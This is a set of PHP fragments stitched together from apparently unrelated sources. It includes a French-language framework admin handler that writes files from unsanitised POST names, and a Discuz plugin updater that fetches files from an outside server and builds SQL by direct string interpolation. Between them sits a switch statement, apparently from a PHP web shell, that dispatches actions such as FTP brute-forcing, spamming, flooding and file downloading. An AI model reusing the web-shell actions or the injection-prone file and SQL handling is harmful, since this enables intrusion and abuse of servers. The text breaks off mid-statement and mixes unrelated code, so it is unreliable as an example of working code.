'success', 'icon' => 'entypo-check alert-success', 'Message' => "La class controller à été creé avec success :D"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Le fichier deja existe"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } break; case "new_seed": $nom = $_POST['seedname_name'] . "Seeder"; if (!file_exists("../app/seeds/{$nom}.php")) { $myfile = fopen("../app/seeds/{$nom}.php", "w"); $txt = "<?php\n\n"; $txt .= "use Fiesta\\Core\\Database\\Seeder;\n\n"; $txt .= "/**\n* class de seeder {$nom}\n*/\n\nclass {$nom} extends Seeder\n{\n"; //datatable name $txt .= "\t/*\n\t* Name of DataTable\n\t*/\n\tpublic " . '$table="tbl_user";' . "\n\n"; //run $txt .= "\t/*\n\t* Run the Database Seeder\n\t*/\n\tpublic function run()\n\t{\n\t\t" . '$dataTable = array();' . "\n\t\t//\n\t\t" . '$dataTable[] = array(/* Data Fields */);' . "\n\t\t//\n\t\t" . 'Schema::table($this->table)->insert($dataTable);' . "\n\t}\n}"; fwrite($myfile, $txt); fclose($myfile); // $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "le seeder est créé"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Le fichier deja existe"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } break; case "exec_seed": if (Seeder::ini()) { $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "Les Seeders ont bien executé"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Erreur d'execution des sedders :("); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } break; case "new_lang_dir": $name = $_POST['lang_dir_name']; if (mkdir("../app/Local/" . $name)) { $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "le dossier a été creé avec success"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Erreur de création du dossier de langue merci de vérifier les droit d'acces :("); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } break; case "new_lang_file": $dir = $_POST['lang_dir_name_2']; $file = $_POST['lang_file_name']; $date = date("Y/m/d"); $auteur = $_SESSION["ArFramework_pnl_fst_profil"]['display_name']; if (!file_exists("../app/Local/{$dir}/{$file}.xml")) { $myfile = fopen("../app/Local/{$dir}/{$file}.xml", "w"); $txt = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"; $txt .= "<!DOCTYPE language_translation SYSTEM \"../language_translation.dtd\">\n"; $txt .= "<language_translation target_language=\"{$dir}\">\n"; $txt .= "\t<meta>\n\t\t<creation author=\"{$auteur}\" date=\"{$date}\" comment=\"\"/>\n\t</meta>\n"; $txt .= "\t<translations>\n\t\t<translation key=\"default\" arguments=\"1\">hello</translation>\n\t</translations>\n"; $txt .= "</language_translation>"; fwrite($myfile, $txt); fclose($myfile); $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "le fichier de langue a été creé avec success"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Le fichier deja existe"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } break; case "new_link": $time = time(); $name = $_POST['link_name']; if (empty($name)) { $name = $time; } // if (!file_exists("../app/links/" . $name . ".php")) { $myfile = fopen("../app/links/" . $name . ".php", "w"); $txt = "<?php\n\n"; $txt .= "/*\n\tlinks of " . $name . "\n*/\n\n"; $txt .= "return array(\n\t'link_name_1' => 'link_value_1',\n\t'link_name_2' => 'link_value_2'\n);"; $txt .= "\n\n?>"; fwrite($myfile, $txt); fclose($myfile); // $arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "Le fichier link a été creé"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } else { $arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Le fichier deja existe"); header("Content-type: application/json; charset=utf-8"); echo json_encode($arr); } break; } }
arhiv($tm, $pass); break; case "crypte": crypte(); break; case "decrypte": decrypte(); break; case "brut_ftp": brut_ftp(); break; case "copyfile": copyfile($tm, $fi); break; case "down": down($dir); break; case "downfiles": downfiles($dir); break; case "spam": spam(); break; case "flud": flud(); break; case "spam1": spam1($file); break; case "del": del();
/** * Loads the controller file * * @return boolean * @param string $name Shortname of the controller. **/ private function load_controller($name) { if (class_exists(ucfirst($name) . 'Controller') === false) { if (is_file($this->config['controllers'] . down($name) . '.controller.php')) { require $this->config['controllers'] . down($name) . '.controller.php'; return true; } elseif (is_file(file_path($this->config['core'] . 'stubs', 'app', 'controllers', down($name) . '.controller.php'))) { require file_path($this->config['core'] . 'stubs', 'app', 'controllers', down($name) . '.controller.php'); return true; } else { throw new Exception('File for ' . ucfirst($name) . 'Controller was not found.'); } } }
$sever_return = file_get_contents("http://update.dsu.cc/{$plugin_id}/dl.php?getstate=yes", 0, $time_out); } catch (Exception $e) { cpmsg('服务器未响应,请稍后再试<br>(可能被您的服务器拦截了)', '', 'error'); } if ($sever_return != 'ok') { cpmsg('连接到服务器失败,请稍候再试!', '', 'error'); } cpmsg('正在准备升级...', "{$baselink}&doupdate=yes", 'loading'); } $program_newver = file_get_contents("http://update.dsu.cc/{$plugin_id}/dl.php?ver=get"); $updater_newver = file_get_contents("http://update.dsu.cc/{$plugin_id}/dl.php?ver=getu"); if ($updater_newver != $updater_ver) { down('updater.inc.php', 1, '', '&setver=old'); cpmsg('升级程序已更新,稍后将自动重启更新程序。', $baselink, 'loading'); } if ($program_newver == $program_ver) { cpmsg('插件程序是最新版本。', '', 'succeed'); } if (!$_GET['docontinue']) { cpmsg('正在下载插件文件', "{$baselink}&doupdate=yes&docontinue=yes", 'loading'); } foreach ($plugin_subfolders as $subfolder) { @mkdir($plugin_dir . '/' . $subfolder, 0777); } foreach ($plugin_files as $file) { down($file[0], $file[1], $file[2]); } updatecache('plugins'); $plugin_table = DB::table('common_plugin'); $plugin_id = DB::fetch_first("SELECT pluginid FROM {$plugin_table} WHERE identifier='{$plugin_id}'"); cpmsg('成功更新到最新版本,正在导入新版插件数据!', 'action=plugins&operation=upgrade&pluginid=' . $plugin_id['pluginid'] . '&xmlfile=' . $xml_name . ($_G['gp_frame'] ? '&frame=no' : ''), 'loading');